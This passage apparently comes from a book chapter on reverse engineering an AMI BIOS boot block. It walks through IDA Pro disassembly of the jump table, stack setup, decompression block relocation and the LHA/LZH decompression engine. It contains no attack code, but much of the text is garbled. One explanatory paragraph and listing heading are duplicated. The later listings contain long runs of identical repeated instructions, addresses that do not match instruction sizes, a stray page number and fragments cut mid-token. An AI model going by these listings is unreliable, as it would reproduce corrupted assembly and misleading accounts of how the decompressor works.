There is free documentation from AMI that can help you in the reverse engineering process, i.e., the AMIBIOS8 Check Point and Beep Code List. It is available for download at American Megatrends' official website (http://www.ami.com). This document contains explanations about the meaning of the POST code and the related task that's carried out by the BIOS routine that emits the POST code. POST codes are debugging codes written to the debugging port (port 80h) during BIOS execution. You can use this documentation to comprehend the disassembled source code from the BIOS binary. You will encounter such a usage in the next two subsections. To use the document, you just need to compare the value written to port 80h in the disassembled BIOS binary and the respective explanation in the document.

5.2.3. AMI Boot Block Reverse Engineering

AMI BIOS boot block is more complicated compared to Award BIOS boot block. However, as with other x86 BIOSs, this BIOS starts execution at address 0xFFFF_FFF0 (0xFF00:0xFFFFF in real mode). Start to disassemble the Soltek SL865PE BIOS in that address. I won't repeat the steps to set up the disassembling environment in IDA Pro because it was explained in the previous sections and chapters.

5.2.3.1. Boot Block Jump Table

AMI BIOS boot block contains a jump to execute a jump table in the beginning of its execution, as shown in listing 5.27.

Listing 5.27 AMI BIOS Boot Block Jump Table

<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>F000:FFF0</td>
<td>jmp far ptr bootblock_start</td>
</tr>
<tr>
<td>........</td>
<td></td>
</tr>
<tr>
<td>F000:FFFA</td>
<td>bootblock_start:</td>
</tr>
<tr>
<td>F000:FFFA</td>
<td>jmp exec_jmp_table</td>
</tr>
<tr>
<td>........</td>
<td></td>
</tr>
<tr>
<td>F000:A040</td>
<td>exec_jmp_table: ;</td>
</tr>
<tr>
<td>F000:A040</td>
<td>jmp _CPU_early_init</td>
</tr>
<tr>
<td>F000:A043</td>
<td>; -------------------------------------------------------------</td>
</tr>
<tr>
<td>F000:A043</td>
<td>_j2: ;</td>
</tr>
<tr>
<td>F000:A043</td>
<td>jmp _goto_j3</td>
</tr>
</tbody>
</table>
As shown in listing 5.27, the jump table contains many entries. I won't delve into them one by one, so just peek at entries that affect the execution flow of the boot block code. The entries in the preceding jump table prepare the system (CPU, motherboard, RAM) to execute the code in RAM. To accomplish that, it tests the RAM subsystem and carries out preliminary DRAM initialization as needed. The interesting entry of the jump table is the stack space initialization with a call to the setup_stack function. This function is defined as shown in listing 5.28.

**Listing 5.28 setup_stack Function**

```
F000:A1E7 setup_stack:                    ; _F0000:_j26
  mov   al, 0D4h ; 'L'
  out   80h, al                 ; Show POST code D4h
  mov   si, 0A1F1h
  jmp   near ptr Init_Descriptor_Cache
F000:A1F1 ; -------------------------------------------------------------
  mov   ax, cs
  mov   ss, ax
  mov   si, 0A1FBh
  jmp   zero_init_low_mem
F000:A1FB ; -------------------------------------------------------------
  nop
  mov   sp, 0A202h
  jmp   j_j_nullsub_1
F000:A202 ; -------------------------------------------------------------
  add   al, 0A2h ; 'a'
  mov   di, 0A20Ah
  jmp   init_cache
F000:A207 jmp   init_cache
F000:A20A ; ------------------------------------------
  xor   ax, ax
  mov   es, ax
  mov   ds, ax
  mov   ax, 53h ; 'S' ; Stack segment
  mov   ss, ax
  assume ss:nothing
  mov   sp, 4000h ; Setup 16-KB stack
```
The setup_stack function initializes the space to be used as the stack at segment 53h. This function also initializes the ds and es segment registers to enter flat real mode or voodoo mode. In the end of the function, execution is directed to the decompression block handler.

5.2.3.2. Decompression Block Relocation

The decompression block handler copies the decompression block from BIOS ROM to RAM and continues the execution in RAM as shown in listing 5.29.

Listing 5.29 Decompression Block Relocation Routine

```assembly
F000:A08E _j27:                           ; _F0000:A218
F000:A08E call near ptr copy_decomp_block
F000:A091 call sub_F000_A440
...........
F000:A21B copy_decomp_block proc far ; _F0000:_j27
F000:A21B mov al, 0D5h ; '-'          ; Boot block code is copied.
F000:A21B                      ; from
F000:A21B                      ; ROM to lower system memory and control
F000:A21B                      ; is given to it. BIOS now executes out of
F000:A21B                      ; RAM. Copies compressed boot block code
F000:A21B                      ; to memory in right segments. Copies BIOS
F000:A21B                      ; from ROM to RAM for faster access.
F000:A21B                      ; Performs main BIOS checksum, and updates
F000:A21B                      ; recovery status accordingly.
F000:A21D out 80h, al           ; Send POST code D5h to diagnostic port.
F000:A21F push es
F000:A220 call get_decomp_block_size ; On return:
F000:A220                      ; ecx = decomp_block_size
F000:A220                      ; esi = decomp_block_phy_addr
F000:A220                      ; At this point, ecx = 0x6000
F000:A220                      ; and esi = 0xFFFFA000
F000:A223 mov ebx, esi
F000:A226 push ebx
F000:A228 shr ecx, 2            ; decomp_block_size / 4
F000:A22C push 8000h
F000:A22F pop es
F000:A230 assume es:decomp_block
F000:A230 movzx edi, si
F000:A234 cld
F000:A235 rep movs dword ptr es:[edi], dword ptr [esi]
F000:A239 push es
F000:A23A push offset decompress_block_start ; jmp to 8000:A23Eh
F000:A23D retf
F000:A23D copy_decomp_block endp ;
```
The `get_decomp_block_size` function in listing 5.29 copies 24 KB of boot block code (0xFFFF_F000–0xFFFF_FFFF) to RAM at segment 0x8000 and continues the code execution there. From listing 5.29, you should realize that the mapping of the offsets in the F000h segment and the copy of the last 24 KB of the F000h segment in RAM at segment 8000h are identical.

Now, I delve into code execution in RAM.

**Listing 5.30 Boot Block Execution in RAM**

```
8000:A23E push 51h ; 'Q'
8000:A241 pop fs ; fs = 51h
8000:A243 assume fs:nothing
8000:A243 mov dword ptr fs:0, 0
8000:A24D pop eax s ; eax = ebx (back in Fseg)
8000:A24F mov cs:src_addr?, eax
8000:A254 pop es ; es = es_back_in_Fseg
8000:A255 retn ; jmp to offset A091
8000:A255 decomp_block_start endp ;
```

The execution of code highlighted in red at address 0x8000:0xA255 in listing 5.30 is enigmatic. Start with the stack values right before the `retf` instruction takes place in `copy_decomp_block`. Mind that before `copy_decomp_block` is executed at address 0xF000:0xA08E, the address of the next instruction (the return address), i.e., 0xA091, is pushed to stack. Thus, you have the stack shown in figure 5.6 before the `retf` instruction takes place in `copy_decomp_block`.
Now, as you arrive in the `decomp_block_start` function, right before the `ret` instruction, the stack values shown in figure 5.6 have already been popped, except the value in the bottom of the stack, i.e., \(0xA091\). Thus, when the `ret` instruction executes, the code will jump to offset \(0xA091\). This offset contains the code shown in listing 5.31.

**Listing 5.31 Decompression Block Handler Routine**

```assembly
8000:A091 decomp_block_entry proc near
8000:A091   call init_decomp_ngine       ; On ret, ds = 0
8000:A094   call copy_decomp_result
8000:A097   call call_F000_0000
8000:A09A   retn
8000:A09A decomp_block_entry endp
```

**5.2.3.3. Decompression Engine Initialization**

The decompression engine initialization is rather complex. Pay attention to its execution. The decompression engine initialization is shown in listing 5.32.

**Listing 5.32 Decompression Block Initialization Routine**

```assembly
8000:A440 init_decomp_ngine proc near     ; decomp_block_entry
8000:A440   xor   ax, ax
8000:A442   mov   es, ax
8000:A444   assume es: _12000
8000:A444   mov   si, 0F349h
8000:A447   mov   ax, cs
8000:A449   mov   ds, ax                ; ds = cs
8000:A44B   assume ds:decomp_block
8000:A44B   mov   ax, [si+2]             ; ax = header length
8000:A44E   mov   edi, [si+4]             ; edi = destination addr
8000:A452   mov   ecx, [si+8]             ; ecx = decompression engine
8000:A452   add   si, ax                ; Point to decompression engine
```
The decompression engine used in AMIBIOS8 is the LHA/LZH decompressor. It's similar to the one used in the AR archiver in the DOS era and the one used in Award BIOS. However, the header of the compressed code has been modified. Thus, the code that handles the header of the compressed components is different from the ordinary LHA/LZH code. However, the main characteristic remains intact, i.e., the compression algorithm uses a Lempel-Zif front end and Huffman back end. The decompression engine code is long, as shown in listing 5.33.

**Listing 5.33 Decompression Engine**

```assembly
8000:A458    movzx esi, si
8000:A45C    rep movs byte ptr es:[edi], byte ptr [esi] ; Copy
8000:A45C    ; decompression engine to
8000:A45C    segment 1352h
8000:A45F    xor   eax, eax
8000:A462    mov   ds, ax
8000:A464    assume ds:_12000
8000:A464    mov   ax, cs
8000:A466    shl   eax, 4          ; eax = cs << 4
8000:A46A    mov   si, 0F98Ch
8000:A46D    movzx esi, si
8000:A471    add   esi, eax          ; esi = src_addr
8000:A474    mov   edi, 120000h     ; edi = dest_addr
8000:A47A    mov   cs:decomp_dest_addr, edi
8000:A480    call  decomp_ngine
8000:A485    retn
8000:A485_init_decomp_ngine_endp

.............
8000:F349    db    1
8000:F34A    db    0
8000:F34B    dw 0Ch              ; Header length
8000:F34D    dd 13520h            ; Decompression engine
8000:F34D    dd 637h              ; Destination addr (physical)
8000:F351    dd 637h              ; Decompression engine size in bytes
8000:F355    db 66h                ; First byte of decompression engine
8000:F355    db 57h                ; engine
8000:F356    db 57h                ; W

.............
1352:00000 decomp_ngine_start proc far  ;
1352:00000 push   edi                ; dest_addr
1352:00002 push   esi                ; src_addr
1352:00004 call  expand
1352:00007 add   sp, 8                ; Trash parameters in stack
1352:0000A retf
1352:000A0 decomp_ngine_start_endp

The decompression engine used in AMIBIOS8 is the LHA/LZH decompressor. It's similar to the one used in the AR archiver in the DOS era and the one used in Award BIOS. However, the header of the compressed code has been modified. Thus, the code that handles the header of the compressed components is different from the ordinary LHA/LZH code. However, the main characteristic remains intact, i.e., the compression algorithm uses a Lempel-Zif front end and Huffman back end. The decompression engine code is long, as shown in listing 5.33.

**Listing 5.33 Decompression Engine**

```assembly
1352:000B expand proc near            ; ...
1352:000B src_addr= dword ptr  4
```
1352:000B dest_addr= dword ptr 8
1352:000B push bp
1352:000C mov bp, sp
1352:000E pushad
1352:0010 mov eax, [bp+src_addr]
1352:0014 mov ebx, [bp+dest_addr]
1352:0018 mov cx, sp
1352:001A mov dx, ss
1352:001C mov sp, 453h
1352:001F mov ss, sp ; ss = 453h
1352:0021 mov sp, 0EFF0h ; ss:sp = 453h:EFF0h
1352:0024 push ebx
1352:0026 push eax
1352:0028 push cx
1352:0029 push dx
1352:002A mov bp, sp
1352:002C pusha
1352:002D push ds
1352:002E push 453h
1352:0031 pop ds ; ds = 453h - scratch_pad
1352:0033 pop es ; segment
1352:0035 xor cx, cx
1352:0039 mov bit_position, cx
1352:003D mov bit_buf, cx
1352:0041 mov _byte_buf, cx
1352:0045 mov word_453_8, cx
1352:0049 mov blocksize, cx
1352:004D mov match_pos, cx
1352:0051 mov esi, [bp+src_addr]
1352:0055 push 0
1352:0057 pop es ; es = 0
1352:0058 assume es:_12000
1352:005A mov ecx, es:[esi]
1352:005D mov hdr_len?, ecx
1352:0062 mov ecx, es:[esi+4]
1352:0066 mov cmprssd_src_size, ecx
1352:006B add esi, 8
1352:006E mov src_byte_ptr, esi
1352:0076 sub hdr_len?, 8
1352:007B mov cl, 10h ; Read 16 bits
1352:007E call fill_bit_buf
1352:0081 cmp cmprssd_src_size, 0
1352:0087 jz short exit
1352:0089 next_window: ; ...
1352:008E cmp edi, 8192 ; 8-KB window size
1352:0095 jbe short cmprssd_size_lte_window_size
mov di, 8192

cmprssd_size_lte_window_size:   ; ...
call decode
add sp, 2                   ; Discard pushed di above
push di
; Sliding window size
; ecx = number of decoded bytes
mov ebx, ecx
jcxz short no_decoded_byte
mov edi, [bp+dest_addr]
add [bp+dest_addr], ecx
rep movs byte ptr es:[edi], byte ptr [esi] ; Copy window
no_decoded_byte:
sub cmprssd_src_size, ebx
ja short next_window
exit:
pop es
assume es:nothing
pop ds
pop cx
pop dx
xor dx, dx
mov dx, [bp+window_size]
ret
expand endp

decode proc near                ; ...
window_size= word ptr  4
mov dx, [bp+window_size]
push dx
push di
xor si, si
mov dx, [bp+window_size]
ret

copy_match_byte:                ; ...
desc match_length
js short no_match_byte
mov bx, match_pos
mov al, window[bx] ; Copy matched dictionary
mov window[si], al ; Window at ds:[16h] -

lea ax, [bx+1]
and ah, 1Fh
; byte_match_pos % window_size
mov match_pos, ax
; Point to next byte in window
inc si
; Window size reached?
short copy_match_byte
mov blocksize, dx
; Treshold?
mov ax, dx
push 3
push 5                       ; TBIT
push 13h                     ; NT
push 0FFFh
push 4
push 0
; NP (min_intrnl_node in
short go_left           ; (assuming 0 is left)
mov bx, child_1[bx]       ; Move right in tree table
shr ax, 1
1352:0153  jmp short next_bit
1352:0155 ; -------------------------------
1352:0155 go_left:
1352:0155  mov bx, child_0[bx] ; Move left in tree table
1352:0159  shr ax, 1
1352:015B  jmp short next_bit
1352:015D ; -------------------------------
1352:015D is_leaf_node:
1352:015D  mov cl, leaf_bitlen_tbl[bx] ; cl = bitlen
1352:0161  mov dx, bx ; dx = leaf_index
1352:0163  call fill_bit_buf
1352:0166  cmp dx, 0FFh ; true_byte_val or match?
1352:016A  ja short is_match_length
1352:016C  mov window[si], dl ; buffer[si] = dl -->
1352:016D  ; leaf_idx(dl_val) = code
1352:0170  inc si
1352:0171  cmp si, [bp+window_size]
1352:0174  jnz short no_match_byte
1352:0176  pop si
1352:0177  pop di
1352:0178  leave
1352:0179  retn
1352:017A ; -------------------------------
1352:017A is_match_length:
1352:017A  sub dx, 0FDh ; 's'
1352:017E  mov match_length, dx
1352:0182  call decode_match_pos ; ret_val in ax
1352:0182  ; (ax = curr_idx - match_pos)
1352:0185  mov bx, si ; bx = current_pos_in_window
1352:0187  sub bx, ax
1352:0189  dec bx ; bx = match_pos
1352:018A  and bh, 1Fh ; bx %= window_size (mod 8 KB)
1352:018D  mov dx, [bp+window_size]
1352:0190  copy_next_match_byte:
1352:0190  dec match_length
1352:0194  js no_match_byte
1352:0198  mov al, window[bx]
1352:019C  inc bx
1352:019D  mov window[si], al
1352:01A1  inc si
1352:01A2  and bh, 1Fh ; bx %= window_size (mod 8 KB)
1352:01A5  cmp si, dx ; End of window reached?
1352:01A7  jnz short copy_next_match_byte
1352:01A9  mov match_pos, bx
1352:01AD  pop si
1352:01AE  pop di
1352:01AF  leave
1352:01B0  retn
1352:01B0 decode endp
; SUBROUTINE
; out: ax = (current_position - match_position)

; push si
movzx bx, byte ptr bit_buf+1 ; bx = hi_byte(bit_buf)
add bx, bx                       ; bx *= 2 (bx = position in
                                 ; symbol table)
mov si, match_pos_tbl[bx]         ; si = pos
mov ax, 80h                       ; 'A'          ; ax = bit_mask

next_bit:
    cmp si, 0Eh                     ; leaf index (bit_len) is in si
    jb short leaf_pos_found
    add si, si                       ; si *= 2
    test bit_buf, ax
    jz short bit_is_0
    mov si, child_1[si]             ; si = right[si]
    shr ax, 1
    jmp short next_bit

bit_is_0:
    mov si, child_0[si]             ; si = left[si]
    shr ax, 1
    jmp short next_bit

leaf_pos_found:
    mov cl, match_pos_len_tbl[si]
    call fill_bit_buf

lea cx, [si-1]
mov si, l
shl si, cl
mov al, cl
mov cl, 10h
sub cl, al
mov dx, bit_buf
shr dx, cl
mov cl, al ; cl = code_bit_len

call fill_bit_buf
mov ax, dx
add ax, si

exit:
pop si
retn

; endp

; read_match_pos_len proc near ; ...

1352:0209 table_size= word ptr -8
1352:0209 matchpos_len_idx= word ptr -6
1352:0209 dfault_symbol_ptr_len= word ptr -2
1352:0209 symbol_bitlen= word ptr 4
1352:0209 symbol_ptr_len= byte ptr 6
1352:0209 threshold= word ptr 8
1352:0209 enter 8, 0 ; 8 bytes of local variables
1352:020D push di
1352:020E push si
1352:020F mov al, [bp+symbol_ptr_len] ; al = amount of bits to read
1352:0212 call get_bits
1352:0215 mov [bp+table_size], ax
1352:0218 or ax, ax
1352:021A jnz short table_size_not_0
1352:021C mov al, [bp+symbol_ptr_len]
1352:021F call get_bits
1352:0222 mov [bp+dfault_symbol_ptr_len], ax
1352:0225 push ds
1352:0226 push ds
1352:0227 assume es:scratch_pad_seg
1352:0227 mov cx, [bp+symbol_bitlen]
1352:022A jcxz short min_intrnl_node_idx_is_0
1352:022C mov di, offset match_pos_len_tbl ;
1352:022F xor ax, ax
1352:0231 shr cx, 1
1352:0233 rep stosw ; Zero init the table
1352:0235 jnb short min_intrnl_node_idx_is_0
1352:0237 stosb
1352:0238
1352:0238 min_intrnl_node_idx_is_0: ; ...
1352:0238 mov ax, [bp+dfault_symbol_ptr_len]
1352:023B mov cx, 256 ; 256 words = table size
1352:023E mov di, offset match_pos_tbl ; Bytes symbol table
1352:0241 rep stosw
1352:0243 pop si
1352:0244 pop di
1352:0245 leave
1352:0246 retn
1352:0247 ; --------------------------------------------------------
1352:0247 table_size_not_0: ; ...
1352:0247 mov [bp+matchpos_len_idx], 0
1352:024C
1352:024C nxt_matchpos_len_idx: ; ...
1352:024C mov ax, [bp+matchpos_len_idx]
1352:024F cmp [bp+table_size], ax
1352:0252 jle short matchpos_bitlen_tbl_done
1352:0254 mov si, bit_buf
1352:0258 shr si, 13 ; c = bitbuf >> (BITBUFSIZ - 3)
1352:025B cmp si, 7

71
1352:025E  jnz short not_max_index
1352:0260  mov di, 1000h               ; mask= 1U << (BITBUFSIZ-1-3)
1352:0263  test byte ptr bit_buf+1, 10h ; hi_byte(bit_buf) & 0x10
1352:0268  jz short not_max_index
1352:026A  inc_index:
1352:026A  inc si
1352:026B  shr di, 1
1352:026D  test bit_buf, di
1352:0271  jnz short inc_index
1352:0273  not_max_index:
1352:0273  mov cl, 3
1352:0275  cmp si, 7
1352:0278  jl short get_src_bits
1352:027A  lea cx, [si-3]              ; cl = bit count to be read
1352:027D  get_src_bits:
1352:027D  call fill_bit_buf
1352:0280  mov bx, [bp+matchpos_len_idx]
1352:0283  inc [bp+matchpos_len_idx]
1352:0286  mov ax, si
1352:0288  mov match_pos_len_tbl[bx], al
1352:028C  mov ax, [bp+threshold]
1352:028F  cmp [bp+matchpos_len_idx], ax
1352:0292  jnz short not_max_index
1352:0294  mov al, 2
1352:0296  call get_bits
1352:0299  mov bx, [bp+matchpos_len_idx]
1352:029C  mov di, ax
1352:029E  nxt_matchpos_len_tbl_idx:
1352:029E  dec di
1352:029F  jns short index_is_positive
1352:02A1  mov [bp+matchpos_len_idx], bx
1352:02A4  jmp short nxt_matchpos_len_idx
1352:02A6 ; ---------------------------------------------------------------------
1352:02A6  index_is_positive:
1352:02A6  mov match_pos_len_tbl[bx], 0
1352:02AB  inc bx
1352:02AC  jmp short nxt_matchpos_len_tbl_idx
1352:02AE ; ---------------------------------------------------------------------
1352:02AE  matchpos_bitlen_tbl_done:
1352:02AE  mov bx, ax
1352:02B0  cmp [bp+symbol_bitlen], ax
1352:02B3  jle short init_tree
1352:02B5  xor ax, ax
1352:02B7  mov cx, [bp+symbol_bitlen]
1352:02BA  sub cx, bx
1352:02BC  lea di, match_pos_len_tbl[bx] ;
push ds
push offset match_pos_tbl
push 8
push ds
push offset match_pos_len_tbl
push [bp+symbol_bitlen]
call make_table
add sp, 12
pop si
pop di
leave
retn

; init_tree:
push ds
push offset match_pos_tbl
push ds
push offset match_pos_len_tbl
push [bp+symbol_bitlen]
call make_table
add sp, 12
pop si
pop di
leave
retn

; Read Match Position and Lengths Table
read_match_pos_len_endp

; Read Code Lengths
read_code_len proc near

min_intrnl_node_idx= word ptr -6
tbl_index= word ptr -4

enter 6, 0
push di
push si
mov al, 9
; al = CODE_BITS
call get_bits
; Get 9 bits
mov [bp+min_intrnl_node_idx], ax
or ax, ax
jnz short code_len_not_zero
push ds
pop es
xor ax, ax
mov cx, 1FEh
mov di, offset leaf_bitlen_tbl
rep stosw
; Zero init leaf_bitlen_table[]
mov al, 9
call get_bits
push ds
push es
mov cx, 4096
mov di, offset leaf_tbl
rep stosw
; Zero init internal_node_tbl
mov al, 9
call get_bits
push ds
push es
mov cx, 4096
mov di, offset leaf_tbl
rep stosw
; Zero init internal_node_tbl
push ds
push es
mov cx, 4096
mov di, offset leaf_tbl
push ds
push es
mov cx, 4096
mov di, offset leaf_tbl
push ds
push es
mov cx, 4096
mov di, offset leaf_tbl
push ds
push es
mov cx, 4096
mov di, offset leaf_tbl
push ds
push es
mov cx, 4096
mov di, offset leaf_tbl
pop si
pop di
retn

; Read Code Lengths
read_code_len proc near

1352:030F  leave
1352:0310  retn
1352:0311  ; ----------------------------------------------------------
1352:0311  code_len_not_zero:    ; ...
1352:0312  xor  bx, bx:
1352:0313  mov  [bp+tbl_index], bx
1352:0314  cmp  [bp+min_intrnl_node_idx], bx
1352:0315  jle  short init_leaf_bitlen_tbl
1352:0316  movzx si, byte ptr bitlen_tbl
1352:0317  xor  bx, bx    ; si ^= 2
1352:0318  add  si, si    ; si *= 2
1352:0319  mov  si, match_pos_tbl[si]    ; mov si, [match_pos_tbl+si]
1352:0320  mov  ax, 80h    ; 'A'
1352:0321  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0322  mov  [bp+tbl_index], bx
1352:0323  mov  [bp+match_pos_tbl], bx
1352:0324  mov  ax, 80h    ; 'A'
1352:0325  mov  si, 0
1352:0326  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0327  mov  [bp+match_pos_tbl], bx
1352:0328  mov  ax, 80h    ; 'A'
1352:0329  mov  si, 0
1352:032A  mov  [bp+min_intrnl_node_idx] + si, ax
1352:032B  mov  [bp+match_pos_tbl], bx
1352:032C  mov  ax, 80h    ; 'A'
1352:032D  mov  si, 0
1352:032E  mov  [bp+min_intrnl_node_idx] + si, ax
1352:032F  mov  [bp+match_pos_tbl], bx
1352:0330  mov  ax, 80h    ; 'A'
1352:0331  mov  si, 0
1352:0332  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0333  mov  [bp+match_pos_tbl], bx
1352:0334  mov  ax, 80h    ; 'A'
1352:0335  mov  si, 0
1352:0336  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0337  mov  [bp+match_pos_tbl], bx
1352:0338  mov  ax, 80h    ; 'A'
1352:0339  mov  si, 0
1352:033A  mov  [bp+min_intrnl_node_idx] + si, ax
1352:033B  mov  [bp+match_pos_tbl], bx
1352:033C  mov  ax, 80h    ; 'A'
1352:033D  mov  si, 0
1352:033E  mov  [bp+min_intrnl_node_idx] + si, ax
1352:033F  mov  [bp+match_pos_tbl], bx
1352:0340  mov  ax, 80h    ; 'A'
1352:0341  mov  si, 0
1352:0342  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0343  mov  [bp+match_pos_tbl], bx
1352:0344  mov  ax, 80h    ; 'A'
1352:0345  mov  si, 0
1352:0346  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0347  mov  [bp+match_pos_tbl], bx
1352:0348  mov  ax, 80h    ; 'A'
1352:0349  mov  si, 0
1352:034A  mov  [bp+min_intrnl_node_idx] + si, ax
1352:034B  mov  [bp+match_pos_tbl], bx
1352:034C  mov  ax, 80h    ; 'A'
1352:034D  mov  si, 0
1352:034E  mov  [bp+min_intrnl_node_idx] + si, ax
1352:034F  mov  [bp+match_pos_tbl], bx
1352:0350  mov  ax, 80h    ; 'A'
1352:0351  mov  si, 0
1352:0352  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0353  mov  [bp+match_pos_tbl], bx
1352:0354  mov  ax, 80h    ; 'A'
1352:0355  mov  si, 0
1352:0356  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0357  mov  [bp+match_pos_tbl], bx
1352:0358  mov  ax, 80h    ; 'A'
1352:0359  mov  si, 0
1352:035A  mov  [bp+min_intrnl_node_idx] + si, ax
1352:035B  mov  [bp+match_pos_tbl], bx
1352:035C  mov  ax, 80h    ; 'A'
1352:035D  mov  si, 0
1352:035E  mov  [bp+min_intrnl_node_idx] + si, ax
1352:035F  mov  [bp+match_pos_tbl], bx
1352:0360  mov  ax, 80h    ; 'A'
1352:0361  mov  si, 0
1352:0362  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0363  mov  [bp+match_pos_tbl], bx
1352:0364  mov  ax, 80h    ; 'A'
1352:0365  mov  si, 0
1352:0366  mov  [bp+min_intrnl_node_idx] + si, ax
1352:0367  mov  [bp+match_pos_tbl], bx
1352:0368  mov  ax, 80h    ; 'A'
1352:0369  mov  si, 0
1352:036A  mov  [bp+min_intrnl_node_idx] + si, ax
1352:036B  mov  [bp+match_pos_tbl], bx
1352:036C  mov  ax, 80h    ; 'A'
1352:036D  mov  si, 0
1352:036E  mov  [bp+min_intrnl_node_idx] + si, ax
1352:036F  mov  [bp+match_pos_tbl], bx
1352:0370  ; ----------------------------------------------------------
1352:0370   mov   bx, [bp+tbl_index]
1352:0373
1352:0373   next_leaf:   ; ...
1352:0374   dec   ax
1352:0375   js    short next_table_index
1352:0377   mov   leaf_bitlen_tbl[bx], 0
1352:0378   inc   bx
1352:0379   jmp   short next_leaf
1352:037A   ; -------------------------------------------
1352:037B
1352:037B   node_idx_gt_2:   ; ...
1352:037E   mov   bx, [bp+tbl_index]
1352:0381   mov   ax, s
1352:0383   sub   ax, 2
1352:0386   mov   leaf_bitlen_tbl[bx], al
1352:0387   inc   bx
1352:0388   jmp   short next_table_index
1352:0389   ; -------------------------------------------
1352:038D   init_leaf_bitlen_tbl:   ; ...
1352:038D   push  ds
1352:038E   push  offset leaf_bitlen_tbl
1352:0390   push  0Ch
1352:0392   push  ds
1352:0393   push  offset leaf_tbl
1352:0395   call  make_table
1352:0398   add   sp, 0Ch
1352:039A   ret
1352:039B   ; -------------------------------------------
1352:039C
1352:039C   make_table proc near   ; ...
1352:039F   __start_0= word ptr -80h
1352:03A0   __start_1= word ptr -78h
1352:03A1   __start_2= word ptr -7Ch
1352:03A2   __weight_0= word ptr -5Ch
1352:03A3
1352:03BA __weight_1= word ptr -5Ah
1352:03BA __end_of_weight?= word ptr -3Ch
1352:03BA __count_0= word ptr -3Ah
1352:03BA __count_1= word ptr -38h
1352:03BA __end_of_count= word ptr -1Ah
1352:03BA __jutbits= word ptr -18h
1352:03BA __mask= word ptr -16h
1352:03BA __p= word ptr -14h
1352:03BA __ch= word ptr -10h
1352:03BA __current_pos= word ptr -0Eh
1352:03BA __i= word ptr -0Ch
1352:03BA __k= word ptr -0Ah
1352:03BA __child_0_idx= word ptr -8
1352:03BA __child_1_idx= word ptr -6
1352:03BA tbl_idx= dword ptr -4
1352:03BA leaf_count= word ptr 4
1352:03BA leaf_bitlen_tbl= dword ptr 6
1352:03BA tbl_bitcount= word ptr 0Ah
1352:03BA table= dword ptr 0Ch
1352:03BA
1352:03BA enter 128, 0
1352:03BE push di
1352:03BF push si
1352:03C0 xor ax, ax
; Zero init 16 words
1352:03C0 ; ([bp-38h]-[bp-18h])
1352:03C2 mov cx, 16
1352:03C5 lea di, [bp+__count_1]
; Count @ scratch_pad segment
1352:03C5 ; Note: scratchpad_seg equal to
1352:03C5 ; stack_seg
1352:03C8 push ds
1352:03C9 pop es
; es = ds
1352:03CA rep stosw
1352:03CC xor si, si
1352:03CE mov cx, [bp+leaf_count]
1352:03D1 or cx, cx
1352:03D3 jz short leaf_count_is_0
1352:03D5 mov di, word ptr [bp+leaf_bitlen_tbl]
1352:03D8 mov ds, word ptr [bp+leaf_bitlen_tbl+2]
1352:03DB nxt_leaf_bitlen_tbl_entry: ;...
1352:03DB mov bx, di
1352:03DD add bx, si
1352:03DF mov bl, [bx]
; bl = [si+di]
1352:03E1 sub bh, bh
; bh = 0
1352:03E3 add bx, bx
; bx = bl*2
1352:03E5 lea ax, [bp+__count_0]
1352:03E8 add bx, ax
1352:03EA inc word ptr ss:[bx]
; count[bx]++ = count is the
1352:03EA ; same as the count data_seg
1352:03EA ; because ds and ss points to
1352:03EA ; the same segment
inc si
 cmp si, cx
 jb short nxt_leaf_bitlen_tbl_entry
 push es
 pop ds
 ; Restore ds to point to scratchpad_seg

leaf_count_is_0:
 mov [bp+__start_1], 0
 mov dx, 1
 lea bx, [bp+__start_2]
 lea di, [bp+__count_1]

next_start_tbl_entry:
 mov cl, 16
 sub cl, dl
 mov ax, [di]
 add ax, [bx-2]
 mov [bx], ax
 add bx, 2
 add di, 2
 lea ax, [bp+__end_of_count]
 cmp di, ax
 jbe short next_start_tbl_entry
 mov dx, [bp+tbl_bitcount]
 mov ax, 16
 sub ax, dx
 mov [bp+__jutbits], ax
 mov si, 1
 cmp dx, si
 jbe short nxt_weight_entry
 mov ax, [bp+tbl_bitcount]
 lea ax, [bp+__weight_1]
 mov word ptr [bp+tbl_idx+2], ax
 lea di, [bp+__start_1]

nxt_weight_entry:
 mov cl, byte ptr [bp+__jutbits]
 shr word ptr [di], cl
 mov cl, byte ptr [bp+tbl_bitcount]
 mov ax, si
 sub cl, al
 mov ax, 1
 ah = 1U
 mov bx, word ptr [bp+tbl_idx+2]
 mov word ptr [bp+tbl_idx+2], 2
 mov [bx], ax
 add di, 2
 ; Point to next start_tbl[] entry
inc si
cmp si, [bp+tbl_bitcount]
jmp short nxt_weight_entry

tbl_bitcount_lt_1:
    cmp si, 16
    ja short dont_init_weight
    mov di, si
    add di, si
    lea bx, [bp+di+__weight_0]
    next_weight_entry:
    mov cl, 10h
    mov ax, si
    sub cl, al
    mov ax, 1
    shl ax, cl
    mov [bx], ax
    add bx, 2
    inc si
    lea ax, [bp+__end_of_weight]
    cmp bx, ax
    jbe short ne
xt_weight_entry

dont_init_weight:
    mov si, [bp+tbl_bitcount]
    add si, si
    mov bx, [bp+si+__start_1]
    mov cl, byte ptr [bp+__jutbits]
    shr bx, cl
    or bx, bx
    jz not_zro_init
    mov cl, byte ptr [bp+tbl_bitcount]
    mov ax, 1
    shl ax, cl
    mov [bp+__k], ax
    cmp ax, bx
    jz not_zro_init
    mov cx, ax
    sub cx, bx
    add bx, bx
    lea si, [bp+table]
    assume es:nothing
    xor ax, ax
    lea di, [bx+si]
    rep stosw
    not_zro_init:
    mov ax, [bp+leaf_count]
    mov [bp+__current_pos], ax
    mov cl, 15
sub cl, byte ptr [bp+tbl_bitcount]
mov dx, 1
shl dx, cl
mov [bp+_mask], dx
mov [bp+_ch], 0
or ax, ax                  ; leaf_count == 0
jnz short init_intrnal_nodes
jmp exit

init_intrnal_nodes:
les bx, [bp+leaf_bitlen_tbl]
add bx, [bp+_ch]
mov bl, es:[bx] ; bl = leaf_bitlen_tbl[__ch]
sub bh, bh ; bh = 0
or bx, bx
jnz short init_intrnl_node_code
jmp next___ch

init_intrnl_node_code:
mov si, bx
add si, bx ; si *= 2
